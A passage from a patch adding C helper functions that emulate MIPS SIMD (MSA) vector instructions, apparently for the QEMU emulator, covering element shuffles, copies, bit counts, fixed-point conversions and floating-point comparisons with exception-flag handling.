+#define MSA_DO_H MSA_DO(h) +#define MSA_DO_W MSA_DO(w) +#define MSA_DO_D MSA_DO(d) + +#define MSA_LOOP_B MSA_LOOP(B) +#define MSA_LOOP_H MSA_LOOP(H) +#define MSA_LOOP_W MSA_LOOP(W) +#define MSA_LOOP_D MSA_LOOP(D) + +#define MSA_LOOP_COND_B MSA_LOOP_COND(DF_BYTE) +#define MSA_LOOP_COND_H MSA_LOOP_COND(DF_HALF) +#define MSA_LOOP_COND_W MSA_LOOP_COND(DF_WORD) +#define MSA_LOOP_COND_D MSA_LOOP_COND(DF_DOUBLE) + +#define MSA_LOOP(DF) \ + for (i = 0; i < (MSA_LOOP_COND_ ## DF) ; i++) { \ + MSA_DO_ ## DF \ + } + +#define MSA_FN_DF(FUNC) \ +void helper_msa_##FUNC(CPUMIPSState *env, uint32_t df, uint32_t wd, \ + uint32_t ws, uint32_t wt) \ +{ \ + wr_t *pwd = &(env->active_fpu.fpr[wd].wr); \ + wr_t *pws = &(env->active_fpu.fpr[ws].wr); \ + wr_t *pwt = &(env->active_fpu.fpr[wt].wr); \ + wr_t wx, *pwx = &wx; \ + uint32_t i; \ + switch (df) { \ + case DF_BYTE: \ + MSA_LOOP_B \ + break; \ + case DF_HALF: \ + MSA_LOOP_H \ + break; \ + case DF_WORD: \ + MSA_LOOP_W \ + break; \ + case DF_DOUBLE: \ + MSA_LOOP_D \ + break; \ + default: \ + assert(0); \ + } \ + msa_move_v(pwd, pwx); \ +} + +#define MSA_LOOP_COND(DF) \ + (DF_ELEMENTS(DF) / 2) + +#define Rb(pwr, i) (pwr->b[i]) +#define Lb(pwr, i) (pwr->b[i + DF_ELEMENTS(DF_BYTE)/2]) +#define Rh(pwr, i) (pwr->h[i]) +#define Lh(pwr, i) (pwr->h[i + DF_ELEMENTS(DF_HALF)/2]) +#define Rw(pwr, i) (pwr->w[i]) +#define Lw(pwr, i) (pwr->w[i + DF_ELEMENTS(DF_WORD)/2]) +#define Rd(pwr, i) (pwr->d[i]) +#define Ld(pwr, i) (pwr->d[i + DF_ELEMENTS(DF_DOUBLE)/2]) + +#define MSA_DO(DF) \ + do { \ + R##DF(pwx, i) = pwt->DF[2*i]; \ + L##DF(pwx, i) = pws->DF[2*i]; \ + } while (0); +MSA_FN_DF(pckev_df) +#undef MSA_DO + +#define MSA_DO(DF) \ + do { \ + R##DF(pwx, i) = pwt->DF[2*i+1]; \ + L##DF(pwx, i) = pws->DF[2*i+1]; \ + } while (0); +MSA_FN_DF(pckod_df) +#undef MSA_DO + +#define MSA_DO(DF) \ + do { \ + pwx->DF[2*i] = L##DF(pwt, i); \ + pwx->DF[2*i+1] = L##DF(pws, i); \ + } while (0); +MSA_FN_DF(ilvl_df) +#undef MSA_DO + +#define MSA_DO(DF) \ + do { \ + pwx->DF[2*i] = R##DF(pwt, i); \ + pwx->DF[2*i+1] = R##DF(pws, i); \ + } while (0); +MSA_FN_DF(ilvr_df) +#undef MSA_DO + +#define MSA_DO(DF) \ + do { \ + pwx->DF[2*i] = pwt->DF[2*i]; \ + pwx->DF[2*i+1] = pws->DF[2*i]; \ + } while (0); +MSA_FN_DF(ilvev_df) +#undef MSA_DO + +#define MSA_DO(DF) \ + do { \ + pwx->DF[2*i] = pwt->DF[2*i+1]; \ + pwx->DF[2*i+1] = pws->DF[2*i+1]; \ + } while (0); +MSA_FN_DF(ilvod_df) +#undef MSA_DO +#undef MSA_LOOP_COND + +#define MSA_LOOP_COND(DF) \ + (DF_ELEMENTS(DF)) + +#define MSA_DO(DF) \ + do { \ + uint32_t n = DF_ELEMENTS(df); \ + uint32_t k = (pwd->DF[i] & 0x3f) % (2 * n); \ + pwx->DF[i] = \ + (pwd->DF[i] & 0xc0) ? 0 : k < n ? pwt->DF[k] : pws->DF[k - n]; \ + } while (0); +MSA_FN_DF(vshf_df) +#undef MSA_DO +#undef MSA_LOOP_COND +#undef MSA_FN_DF + +void helper_msa_sldi_df(CPUMIPSState *env, uint32_t df, uint32_t wd, + uint32_t ws, uint32_t n) +{ + wr_t *pwd = &(env->active_fpu.fpr[wd].wr); + wr_t *pws = &(env->active_fpu.fpr[ws].wr); + + msa_sld_df(df, pwd, pws, n); +} + +void helper_msa_splati_df(CPUMIPSState *env, uint32_t df, uint32_t wd, + uint32_t ws, uint32_t n) +{ + wr_t *pwd = &(env->active_fpu.fpr[wd].wr); + wr_t *pws = &(env->active_fpu.fpr[ws].wr); + + msa_splat_df(df, pwd, pws, n); +} + +void helper_msa_copy_s_df(CPUMIPSState *env, uint32_t df, uint32_t rd, + uint32_t ws, uint32_t n) +{ + n %= DF_ELEMENTS(df); + + switch (df) { + case DF_BYTE: + env->active_tc.gpr[rd] = (int8_t)env->active_fpu.fpr[ws].wr.b[n]; + break; + case DF_HALF: + env->active_tc.gpr[rd] = (int16_t)env->active_fpu.fpr[ws].wr.h[n]; + break; + case DF_WORD: + env->active_tc.gpr[rd] = (int32_t)env->active_fpu.fpr[ws].wr.w[n]; + break; +#ifdef TARGET_MIPS64 + case DF_DOUBLE: + env->active_tc.gpr[rd] = (int64_t)env->active_fpu.fpr[ws].wr.d[n]; + break; +#endif + default: + assert(0); + } +} + +void helper_msa_copy_u_df(CPUMIPSState *env, uint32_t df, uint32_t rd, + uint32_t ws, uint32_t n) +{ + n %= DF_ELEMENTS(df); + + switch (df) { + case DF_BYTE: + env->active_tc.gpr[rd] = (uint8_t)env->active_fpu.fpr[ws].wr.b[n]; + break; + case DF_HALF: + env->active_tc.gpr[rd] = (uint16_t)env->active_fpu.fpr[ws].wr.h[n]; + break; + case DF_WORD: + env->active_tc.gpr[rd] = (uint32_t)env->active_fpu.fpr[ws].wr.w[n]; + break; +#ifdef TARGET_MIPS64 + case DF_DOUBLE: + env->active_tc.gpr[rd] = (uint64_t)env->active_fpu.fpr[ws].wr.d[n]; + break; +#endif + default: + assert(0); + } +} + +void helper_msa_insert_df(CPUMIPSState *env, uint32_t df, uint32_t wd, + uint32_t rs_num, uint32_t n) +{ + wr_t *pwd = &(env->active_fpu.fpr[wd].wr); + target_ulong rs = env->active_tc.gpr[rs_num]; + + switch (df) { + case DF_BYTE: + pwd->b[n] = (int8_t)rs; + break; + case DF_HALF: + pwd->h[n] = (int16_t)rs; + break; + case DF_WORD: + pwd->w[n] = (int32_t)rs; + break; + case DF_DOUBLE: + pwd->d[n] = (int64_t)rs; + break; + default: + assert(0); + } +} + +void helper_msa_insve_df(CPUMIPSState *env, uint32_t df, uint32_t wd, + uint32_t ws, uint32_t n) +{ + wr_t *pwd = &(env->active_fpu.fpr[wd].wr); + wr_t *pws = &(env->active_fpu.fpr[ws].wr); + + switch (df) { + case DF_BYTE: + pwd->b[n] = (int8_t)pws->b[0]; + break; + case DF_HALF: + pwd->h[n] = (int16_t)pws->h[0]; + break; + case DF_WORD: + pwd->w[n] = (int32_t)pws->w[0]; + break; + case DF_DOUBLE: + pwd->d[n] = (int64_t)pws->d[0]; + break; + default: + assert(0); + } +} + +void helper_msa_ctcmsa(CPUMIPSState *env, target_ulong elm, uint32_t cd) +{ + switch (cd) { + case 0: + break; + case 1: + env->active_tc.msacsr = (int32_t)elm & MSACSR_MASK; + /* set float_status rounding mode */ + set_float_rounding_mode( + ieee_rm[(env->active_tc.msacsr & MSACSR_RM_MASK) >> MSACSR_RM], + &env->active_tc.msa_fp_status); + /* set float_status flush modes */ + set_flush_to_zero( + (env->active_tc.msacsr & MSACSR_FS_MASK) != 0 ? 1 : 0, + &env->active_tc.msa_fp_status); + set_flush_inputs_to_zero( + (env->active_tc.msacsr & MSACSR_FS_MASK) != 0 ? 1 : 0, + &env->active_tc.msa_fp_status); + /* check exception */ + if ((GET_FP_ENABLE(env->active_tc.msacsr) | FP_UNIMPLEMENTED) + & GET_FP_CAUSE(env->active_tc.msacsr)) { + helper_raise_exception(env, EXCP_MSAFPE); + } + break; + } +} + +target_ulong helper_msa_cfcmsa(CPUMIPSState *env, uint32_t cs) +{ + switch (cs) { + case 0: + return env->msair; + case 1: + return env->active_tc.msacsr & MSACSR_MASK; + } + return 0; +} + +void helper_msa_move_v(CPUMIPSState *env, uint32_t wd, uint32_t ws) +{ + wr_t *pwd = &(env->active_fpu.fpr[wd].wr); + wr_t *pws = &(env->active_fpu.fpr[ws].wr); + + msa_move_v(pwd, pws); +} + +static inline int64_t msa_pcnt_df(uint32_t df, int64_t arg) +{ + uint64_t x; + + x = UNSIGNED(arg, df); + + x = (x & 0x5555555555555555ULL) + ((x >> 1) & 0x5555555555555555ULL); + x = (x & 0x3333333333333333ULL) + ((x >> 2) & 0x3333333333333333ULL); + x = (x & 0x0F0F0F0F0F0F0F0FULL) + ((x >> 4) & 0x0F0F0F0F0F0F0F0FULL); + x = (x & 0x00FF00FF00FF00FFULL) + ((x >> 8) & 0x00FF00FF00FF00FFULL); + x = (x & 0x0000FFFF0000FFFFULL) + ((x >> 16) & 0x0000FFFF0000FFFFULL); + x = (x & 0x00000000FFFFFFFFULL) + ((x >> 32)); + + return x; +} + +static inline int64_t msa_nlzc_df(uint32_t df, int64_t arg) +{ + uint64_t x, y; + int n, c; + + x = UNSIGNED(arg, df); + n = DF_BITS(df); + c = DF_BITS(df) / 2; + + do { + y = x >> c; + if (y != 0) { + n = n - c; + x = y; + } + c = c >> 1; + } while (c != 0); + + return n - x; +} + +static inline int64_t msa_nloc_df(uint32_t df, int64_t arg) +{ + return msa_nlzc_df(df, UNSIGNED((~arg), df)); +} + +void helper_msa_fill_df(CPUMIPSState *env, uint32_t df, uint32_t wd, + uint32_t rs) +{ + wr_t *pwd = &(env->active_fpu.fpr[wd].wr); + uint32_t i; + + switch (df) { + case DF_BYTE: + for (i = 0; i < DF_ELEMENTS(DF_BYTE); i++) { + pwd->b[i] = (int8_t)env->active_tc.gpr[rs]; + } + break; + case DF_HALF: + for (i = 0; i < DF_ELEMENTS(DF_HALF); i++) { + pwd->h[i] = (int16_t)env->active_tc.gpr[rs]; + } + break; + case DF_WORD: + for (i = 0; i < DF_ELEMENTS(DF_WORD); i++) { + pwd->w[i] = (int32_t)env->active_tc.gpr[rs]; + } + break; + case DF_DOUBLE: + for (i = 0; i < DF_ELEMENTS(DF_DOUBLE); i++) { + pwd->d[i] = (int64_t)env->active_tc.gpr[rs]; + } + break; + default: + assert(0); + } +} + +#define MSA_UNOP_DF(func) \ +void helper_msa_ ## func ## _df(CPUMIPSState *env, uint32_t df, \ + uint32_t wd, uint32_t ws) \ +{ \ + wr_t *pwd = &(env->active_fpu.fpr[wd].wr); \ + wr_t *pws = &(env->active_fpu.fpr[ws].wr); \ + uint32_t i; \ + \ + switch (df) { \ + case DF_BYTE: \ + for (i = 0; i < DF_ELEMENTS(DF_BYTE); i++) { \ + pwd->b[i] = msa_ ## func ## _df(df, pws->b[i]); \ + } \ + break; \ + case DF_HALF: \ + for (i = 0; i < DF_ELEMENTS(DF_HALF); i++) { \ + pwd->h[i] = msa_ ## func ## _df(df, pws->h[i]); \ + } \ + break; \ + case DF_WORD: \ + for (i = 0; i < DF_ELEMENTS(DF_WORD); i++) { \ + pwd->w[i] = msa_ ## func ## _df(df, pws->w[i]); \ + } \ + break; \ + case DF_DOUBLE: \ + for (i = 0; i < DF_ELEMENTS(DF_DOUBLE); i++) { \ + pwd->d[i] = msa_ ## func ## _df(df, pws->d[i]); \ + } \ + break; \ + default: \ + assert(0); \ + } \ +} + +MSA_UNOP_DF(nlzc) +MSA_UNOP_DF(nloc) +MSA_UNOP_DF(pcnt) +#undef MSA_UNOP_DF + +#define FLOAT_ONE32 make_float32(0x3f8 << 20) +#define FLOAT_ONE64 make_float64(0x3ffULL << 52) + +#define FLOAT_SNAN16 (float16_default_nan ^ 0x0220) + /* 0x7c20 */ +#define FLOAT_SNAN32 (float32_default_nan ^ 0x00400020) + /* 0x7f800020 */ +#define FLOAT_SNAN64 (float64_default_nan ^ 0x0008000000000020ULL) + /* 0x7ff0000000000020 */ + +static inline void clear_msacsr_cause(CPUMIPSState *env) +{ + SET_FP_CAUSE(env->active_tc.msacsr, 0); +} + +static inline void check_msacsr_cause(CPUMIPSState *env) +{ + if ((GET_FP_CAUSE(env->active_tc.msacsr) & + (GET_FP_ENABLE(env->active_tc.msacsr) | FP_UNIMPLEMENTED)) == 0) { + UPDATE_FP_FLAGS(env->active_tc.msacsr, + GET_FP_CAUSE(env->active_tc.msacsr)); + } else { + helper_raise_exception(env, EXCP_MSAFPE); + } +} + +/* Flush-to-zero use cases for update_msacsr() */ +#define CLEAR_FS_UNDERFLOW 1 +#define CLEAR_IS_INEXACT 2 +#define RECIPROCAL_INEXACT 4 + +static inline int update_msacsr(CPUMIPSState *env, int action, int denormal) +{ + int ieee_ex; + + int c; + int cause; + int enable; + + ieee_ex = get_float_exception_flags(&env->active_tc.msa_fp_status); + + /* QEMU softfloat does not signal all underflow cases */ + if (denormal) { + ieee_ex |= float_flag_underflow; + } + + c = ieee_ex_to_mips(ieee_ex); + enable = GET_FP_ENABLE(env->active_tc.msacsr) | FP_UNIMPLEMENTED; + + /* Set Inexact (I) when flushing inputs to zero */ + if ((ieee_ex & float_flag_input_denormal) && + (env->active_tc.msacsr & MSACSR_FS_MASK) != 0) { + if (action & CLEAR_IS_INEXACT) { + c &= ~FP_INEXACT; + } else { + c |= FP_INEXACT; + } + } + + /* Set Inexact (I) and Underflow (U) when flushing outputs to zero */ + if ((ieee_ex & float_flag_output_denormal) && + (env->active_tc.msacsr & MSACSR_FS_MASK) != 0) { + c |= FP_INEXACT; + if (action & CLEAR_FS_UNDERFLOW) { + c &= ~FP_UNDERFLOW; + } else { + c |= FP_UNDERFLOW; + } + } + + /* Set Inexact (I) when Overflow (O) is not enabled */ + if ((c & FP_OVERFLOW) != 0 && (enable & FP_OVERFLOW) == 0) { + c |= FP_INEXACT; + } + + /* Clear Exact Underflow when Underflow (U) is not enabled */ + if ((c & FP_UNDERFLOW) != 0 && (enable & FP_UNDERFLOW) == 0 && + (c & FP_INEXACT) == 0) { + c &= ~FP_UNDERFLOW; + } + + /* Reciprocal operations set only Inexact when valid and not + divide by zero */ + if ((action & RECIPROCAL_INEXACT) && + (c & (FP_INVALID | FP_DIV0)) == 0) { + c = FP_INEXACT; + } + + cause = c & enable; /* all current enabled exceptions */ + + if (cause == 0) { + /* No enabled exception, update the MSACSR Cause + with all current exceptions */ + SET_FP_CAUSE(env->active_tc.msacsr, + (GET_FP_CAUSE(env->active_tc.msacsr) | c)); + } else { + /* Current exceptions are enabled */ + if ((env->active_tc.msacsr & MSACSR_NX_MASK) == 0) { + /* Exception(s) will trap, update MSACSR Cause + with all enabled exceptions */ + SET_FP_CAUSE(env->active_tc.msacsr, + (GET_FP_CAUSE(env->active_tc.msacsr) | c)); + } + } + + return c; +} + +static inline int get_enabled_exceptions(const CPUMIPSState *env, int c) +{ + int enable = GET_FP_ENABLE(env->active_tc.msacsr) | FP_UNIMPLEMENTED; + return c & enable; +} + +static inline float16 float16_from_float32(int32 a, flag ieee STATUS_PARAM) +{ + float16 f_val; + + f_val = float32_to_float16((float32)a, ieee STATUS_VAR); + f_val = float16_maybe_silence_nan(f_val); + + return a < 0 ? (f_val | (1 << 15)) : f_val; +} + +static inline float32 float32_from_float64(int64 a STATUS_PARAM) +{ + float32 f_val; + + f_val = float64_to_float32((float64)a STATUS_VAR); + f_val = float32_maybe_silence_nan(f_val); + + return a < 0 ? (f_val | (1 << 31)) : f_val; +} + +static inline float32 float32_from_float16(int16_t a, flag ieee STATUS_PARAM) +{ + float32 f_val; + + f_val = float16_to_float32((float16)a, ieee STATUS_VAR); + f_val = float32_maybe_silence_nan(f_val); + + return a < 0 ? (f_val | (1 << 31)) : f_val; +} + +static inline float64 float64_from_float32(int32 a STATUS_PARAM) +{ + float64 f_val; + + f_val = float32_to_float64((float64)a STATUS_VAR); + f_val = float64_maybe_silence_nan(f_val); + + return a < 0 ? (f_val | (1ULL << 63)) : f_val; +} + +static inline float32 float32_from_q16(int16_t a STATUS_PARAM) +{ + float32 f_val; + + /* conversion as integer and scaling */ + f_val = int32_to_float32(a STATUS_VAR); + f_val = float32_scalbn(f_val, -15 STATUS_VAR); + + return f_val; +} + +static inline float64 float64_from_q32(int32 a STATUS_PARAM) +{ + float64 f_val; + + /* conversion as integer and scaling */ + f_val = int32_to_float64(a STATUS_VAR); + f_val = float64_scalbn(f_val, -31 STATUS_VAR); + + return f_val; +} + +static inline int16_t float32_to_q16(float32 a STATUS_PARAM) +{ + int32 q_val; + int32 q_min = 0xffff8000; + int32 q_max = 0x00007fff; + + int ieee_ex; + + if (float32_is_any_nan(a)) { + float_raise(float_flag_invalid STATUS_VAR); + return 0; + } + + /* scaling */ + a = float32_scalbn(a, 15 STATUS_VAR); + + ieee_ex = get_float_exception_flags(status); + set_float_exception_flags(ieee_ex & (~float_flag_underflow) + STATUS_VAR); + + if (ieee_ex & float_flag_overflow) { + float_raise(float_flag_inexact STATUS_VAR); + return (int32)a < 0 ? q_min : q_max; + } + + /* conversion to int */ + q_val = float32_to_int32(a STATUS_VAR); + + ieee_ex = get_float_exception_flags(status); + set_float_exception_flags(ieee_ex & (~float_flag_underflow) + STATUS_VAR); + + if (ieee_ex & float_flag_invalid) { + set_float_exception_flags(ieee_ex & (~float_flag_invalid) + STATUS_VAR); + float_raise(float_flag_overflow | float_flag_inexact STATUS_VAR); + return (int32)a < 0 ? q_min : q_max; + } + + if (q_val < q_min) { + float_raise(float_flag_overflow | float_flag_inexact STATUS_VAR); + return (int16_t)q_min; + } + + if (q_max < q_val) { + float_raise(float_flag_overflow | float_flag_inexact STATUS_VAR); + return (int16_t)q_max; + } + + return (int16_t)q_val; +} + +static inline int32 float64_to_q32(float64 a STATUS_PARAM) +{ + int64 q_val; + int64 q_min = 0xffffffff80000000LL; + int64 q_max = 0x000000007fffffffLL; + + int ieee_ex; + + if (float64_is_any_nan(a)) { + float_raise(float_flag_invalid STATUS_VAR); + return 0; + } + + /* scaling */ + a = float64_scalbn(a, 31 STATUS_VAR); + + ieee_ex = get_float_exception_flags(status); + set_float_exception_flags(ieee_ex & (~float_flag_underflow) + STATUS_VAR); + + if (ieee_ex & float_flag_overflow) { + float_raise(float_flag_inexact STATUS_VAR); + return (int64)a < 0 ? q_min : q_max; + } + + /* conversion to integer */ + q_val = float64_to_int64(a STATUS_VAR); + + ieee_ex = get_float_exception_flags(status); + set_float_exception_flags(ieee_ex & (~float_flag_underflow) + STATUS_VAR); + + if (ieee_ex & float_flag_invalid) { + set_float_exception_flags(ieee_ex & (~float_flag_invalid) + STATUS_VAR); + float_raise(float_flag_overflow | float_flag_inexact STATUS_VAR); + return (int64)a < 0 ? q_min : q_max; + } + + if (q_val < q_min) { + float_raise(float_flag_overflow | float_flag_inexact STATUS_VAR); + return (int32)q_min; + } + + if (q_max < q_val) { + float_raise(float_flag_overflow | float_flag_inexact STATUS_VAR); + return (int32)q_max; + } + + return (int32)q_val; +} + +#define MSA_FLOAT_COND(DEST, OP, ARG1, ARG2, BITS, QUIET) \ + do { \ + int c; \ + int64_t cond; \ + set_float_exception_flags(0, &env->active_tc.msa_fp_status); \ + if (!QUIET) { \ + cond = float ## BITS ## _ ## OP(ARG1, ARG2, \ + &env->active_tc.msa_fp_status); \ + } else { \ + cond = float ## BITS ## _ ## OP ## _quiet(ARG1, ARG2, \ + &env->active_tc.msa_fp_status); \ + } \ + DEST = cond ? M_MAX_UINT(BITS) : 0; \ + c = update_msacsr(env, CLEAR_IS_INEXACT, 0); \ + \ + if (get_enabled_exceptions(env, c)) { \ + DEST = ((FLOAT_SNAN ## BITS >> 6) << 6) | c; \ + } \ + } while (0) + +#define MSA_FLOAT_AF(DEST, ARG1, ARG2, BITS, QUIET) \ + do { \ + MSA_FLOAT_COND(DEST, eq, ARG1, ARG2, BITS, QUIET); \ + if ((DEST & M_MAX_UINT(BITS)) == M_MAX_UINT(BITS)) { \ + DEST = 0; \ + } \ + } while (0) + +#define MSA_FLOAT_UEQ(DEST, ARG1, ARG2, BITS, QUIET) \ + do { \ + MSA_FLOAT_COND(DEST, unordered, ARG1, ARG2, BITS, QUIET); \ + if (DEST == 0) { \ + MSA_FLOAT_COND(DEST, eq, ARG1, ARG2, BITS, QUIET); \ + } \ + } while (0) + +#define MSA_FLOAT_NE(DEST, ARG1, ARG2, BITS, QUIET) \ + do { \ + MSA_FLOAT_COND(DEST, lt, ARG1, ARG2, BITS, QUIET); \ + if (DEST == 0) { \ + MSA_FLOAT_COND(DEST, lt, ARG2, ARG1, BITS, QUIET); \ + } \ + } while (0) + +#define MSA_FLOAT_UNE(DEST, ARG1, ARG2, BITS, QUIET) \ + do { \ + MSA_FLOAT_COND(DEST, unordered, ARG1, ARG2, BITS, QUIET); \ + if (DEST == 0) { \ + MSA_FLOAT_COND(DEST, lt, ARG1, ARG2, BITS, QUIET); \ + if (DEST == 0) { \ + MSA_FLOAT_COND(DEST, lt, ARG2, ARG1, BITS, QUIET); \ + } \ + } \ + } while (0) + +#define MSA_FLOAT_ULE(DEST, ARG1, ARG2, BITS, QUIET) \ + do { \ + MSA_FLOAT_COND(DEST, unordered, ARG1, ARG2, BITS, QUIET); \ + if (DEST == 0) { \ + MSA_FLOAT_COND(DEST, le, ARG1, ARG2, BITS, QUIET); \ + } \ + } while (0) + +#define MSA_FLOAT_ULT(DEST, ARG1, ARG2, BITS, QUIET) \ + do { \ + MSA_FLOAT_COND(DEST, unordered, ARG1, ARG2, BITS, QUIET); \ + if (DEST == 0) { \ + MSA_FLOAT_COND(DEST, lt, ARG1, ARG2, BITS, QUIET); \ + } \ + } while (0) + +#define MSA_FLOAT_OR(DEST, ARG1, ARG2, BITS, QUIET) \ + do { \ + MSA_FLOAT_COND(DEST, le, ARG1, ARG2, BITS, QUIET); \ + if (DEST == 0) { \ + MSA_FLOAT_COND(DEST, le, ARG2, ARG1, BITS, QUIET); \ + } \ + } while (0) + +static inline void compare_af(CPUMIPSState *env, wr_t *pwd, wr_t *pws, + wr_t *pwt, uint32_t df, int quiet) +{ + wr_t wx, *pwx = &wx; + uint32_t i; + + clear_msacsr_cause(env); + + switch (df) { + case DF_WORD: + for (i = 0; i < DF_ELEMENTS(DF_WORD); i++) { + MSA_FLOAT_AF(pwx->w[i], pws->w[i], pwt->w[i], 32, quiet); + } + break; + case DF_DOUBLE: + for (i = 0; i < DF_ELEMENTS(DF_DOUBLE); i++) { + MSA_FLOAT_AF(pwx->d[i], pws->d[i], pwt->d[i], 64, quiet); + } + break; + default: + assert(0); + } + + check_msacsr_cause(env); + + msa_move_v(pwd, pwx); +} + +static inline void compare_un(CPUMIPSState *env, wr_t *pwd, wr_t *pws, + wr_t *pwt, uint32_t df, int quiet) +{ + wr_t wx, *pwx = &wx; + uint32_t i; + + clear_msacsr_cause(env); + + switch (df) { + case DF_WORD: + for (i = 0; i < DF_ELEMENTS(DF_WORD); i++) { + MSA_FLOAT_COND(pwx->w[i], unordered, pws->w[i], pwt->w[i], 32, + quiet); + } + break; + case DF_DOUBLE: + for (i = 0; i < DF_ELEMENTS(DF_DOUBLE); i++) { + MSA_FLOAT_COND(pwx->d[i], unordered, pws->d[i], pwt->d[i], 64, + quiet); + } + break; + default: + assert(0); + } + + check_msacsr_cause(env); + + msa_move_v(pwd, pwx); +} + +static inline void compare_eq(CPUMIPSState *env, wr_t *pwd, wr_t *pws, + wr_t *pwt, uint32_t df, int quiet) +{ + wr_t wx, *pwx = &wx; + uint32_t i; + + clear_msacsr_cause(env); + + switch (df) { + case DF_WORD: + for (i = 0; i < DF_ELEMENTS(DF_WORD); i++) { + MSA_FLOAT_COND(pwx->w[i], eq, pws->w[i], pwt->w[i], 32, quiet); + } + break; + case DF_DOUBLE: + for (i = 0; i < DF_ELEMENTS(DF_DOUBLE); i++) { + MSA_FLOAT_COND(pwx->d[i], eq, pws->d[i], pwt->d[i], 64, quiet); + } + break; + default: + assert(0); + } + + check_msacsr_cause(env); + + msa_move_v(pwd, pwx); +} + +static inline void compare_ueq(CPUMIPSState *env, wr_t *pwd, wr_t *pws, + wr_t *pwt, uint32_t df, int quiet) +{ + wr_t wx, *pwx = &wx; + uint32_t i; + + clear_msacsr_cause(env); + + switch (df) { + case DF_WORD: + for (i = 0; i < DF_ELEMENTS(DF_WORD); i++) { + MSA_FLOAT_UEQ(pwx->w[i], pws->w[i], pwt->w[i], 32, quiet); + } + break; + case DF_DOUBLE: + for (i = 0; i < DF_ELEMENTS(DF_DOUBLE); i++) { + MSA_FLOAT_UEQ(pwx->d[i], pws->d[i], pwt->d[i], 64, quiet); + } + break; + default: + assert(0); + } + + check_msacsr_cause(env); + + msa_move_v(pwd, pwx); +} + +static inline void compare_lt(CPUMIPSState *env, wr_t *pwd, wr_t *pws, + wr_t *pwt, uint32_t df, int quiet) +{ + wr_t wx, *pwx = &wx; + uint32_t i; + + clear_msacsr_cause(env); + + switch (df) { + case DF_WORD: + for (i = 0; i < DF_ELEMENTS(DF_WORD); i++) { + MSA_FLOAT_COND(pwx->w[i], lt, pws->w[i], pwt->w[i], 32, quiet); + } + break; + case DF_DOUBLE: + for (i = 0; i < DF_ELEMENTS(DF_DOUBLE); i++) { + MSA_FLOAT_COND(pwx->d[i], lt, pws->d[i], pwt->d[i], 64, quiet); + } + break; + default: + assert(0); + } + + check_msacsr_cause(env); + + msa_move_v(pwd, pwx); +} + +static inline void compare_ult(CPUMIPSState *env, wr_t *pwd, wr_t *pws, + wr_t *pwt, uint32_t df, int quiet) +{ + wr_t wx, *pwx = &wx; + uint32_t i; + + clear_msacsr_cause(env); + + switch (df) { + case DF_WORD: + for (i = 0; i < DF_ELEMENTS(DF_WORD); i++) { + MSA_FLOAT_ULT(pwx->w[i], pws->w[i], pwt->w[i], 32, quiet); + } + break; + case DF_DOUBLE: + for (i = 0; i < DF_ELEMENTS(DF_DOUBLE); i++) { + MSA_FLOAT_ULT(pwx->d[i], pws->d[i], pwt->d[i], 64, quiet); + } + break; + default: + assert(0); + } + + check_msacsr_cause(env); + + msa_move_v(pwd, pwx); +} + +static inline void compare_le(CPUMIPSState *env, wr_t *pwd, wr_t *pws, + wr_t *pwt, uint32_t df, int quiet) +{ + wr_t wx, *pwx = &wx; + uint32_t i; + + clear_msacsr_cause(env); + + switch (df) { + case DF_WORD: + for (i = 0; i < DF_ELEMENTS(DF_WORD); i++) { + MSA_FLOAT_COND(pwx->w[i], le, pws->w[i], pwt->w[i], 32, quiet); + } + break; + case DF_DOUBLE: + for (i = 0; i < DF_ELEMENTS(DF_DOUBLE); i++) { + MSA_FLOAT_COND(pwx->d[i], le, pws->d[i], pwt->d[i], 64, quiet); + } + break; + default: + assert(0); + } + + check_msacsr_cause(env); + + msa_move_v(pwd, pwx); +} + +static inline void compare_ule(CPUMIPSState *env, wr_t *pwd, wr_t *pws, + wr_t *pwt, uint32_t df, int quiet) +{ + wr_t wx, *pwx = &wx; + uint32_t i; + + clear_msacsr_cause(env); + + switch (df) { + case DF_WORD: + for (i = 0; i < DF_ELEMENTS(DF_WORD); i++) { + MSA_FLOAT_ULE(pwx->w[i], pws->w[i], pwt->w[i], 32, quiet); + } + break; + case DF_DOUBLE: + for (i = 0; i < DF_ELEMENTS(DF_DOUBLE); i++) { + MSA_FLOAT_ULE(pwx->d[i], pws->d[i], pwt->d[i], 64, quiet); + } + break; + default: + assert(0); + } + + check_msacsr_cause(env); + + msa_move_v(pwd, pwx); +} + +static inline void compare_or(CPUMIPSState *env, wr_t *pwd, wr_t *pws, + wr_t *pwt, uint32_t df, int quiet) +{ + wr_t wx, *pwx = &wx; + uint32_t i; + + clear_msacsr_cause(env); + + switch (df) { + case DF_WORD: + for (i = 0; i < DF_ELEMENTS(DF_WORD); i++) { + MSA_FLOAT_OR(pwx->w[i], pws->w[i], pwt->w[i], 32, quiet); + } + break; + case DF_DOUBLE: + for (i = 0; i < DF_ELEMENTS(DF_DOUBLE); i++) { + MSA_FLOAT_OR(pwx->d[i], pws->d[i], pwt->d[i], 64, quiet); + } + break; + default: + assert(0); + } + + check_msacsr_cause(env); + + msa_move_v(pwd, pwx); +} + +static inline void compare_une(CPUMIPSState *env, wr_t *pwd, wr_t *pws, + wr_t *pwt, uint32_t df, int quiet) +{ + wr_t wx, *pwx = &wx; + uint32_t i; + + clear_msacsr_cause(env); + + switch (df) { + case DF_WORD: + for (i = 0; i < DF_ELEMENTS(DF_WORD); i++) { + MSA_FLOAT_UNE(pwx->w[i], pws->w[i], pwt->w[i], 32, quiet); + } + break; + case DF_DOUBLE: + for (i = 0; i < DF_ELEMENTS(DF_DOUBLE); i++) { + MSA_FLOAT_UNE(pwx->d[i], pws->d[i], pwt->d[i], 64, quiet); + } + break; + default: + assert(0); + } + + check_msacsr_cause(env); + + msa_move_v(pwd, pwx); +} + +static inline void compare_ne(CPUMIPSState *env, wr_t *pwd, wr_t *pws, + wr_t *pwt, uint32_t df, int quiet) { + wr_t wx, *pwx = &wx; + uint32_t i; + + clear_msacsr_cause(env); + + switch (df) { + case DF_WORD: + for (i = 0; i < DF_ELEMENTS(DF_WORD); i++) { + MSA_FLOAT_NE(pwx->w[i], pws->w[i], pwt->w[i], 32, quiet); + } + break; + case DF_DOUBLE: + for (i = 0; i < DF_ELEMENTS(DF_DOUBLE); i++) { + MSA_FLOAT_NE(pwx->d[i], pws->d[i], pwt->d[i], 64, quiet); + } + break; + default: + assert(0); + } + + check_msacsr_cause(env); + + msa_move_v(pwd, pwx); +} + +void helper_msa_fcaf_df(CPUMIPSState *env, uint32_t df, uint32_t wd, + uint32_t ws, uint32_t wt) +{ + wr_t *pwd = &(env->active_fpu.fpr[wd].wr); + wr_t *pws = &(env->active_fpu.fpr[ws].wr); + wr_t *pwt = &(env->active_fpu.fpr[wt].wr); + 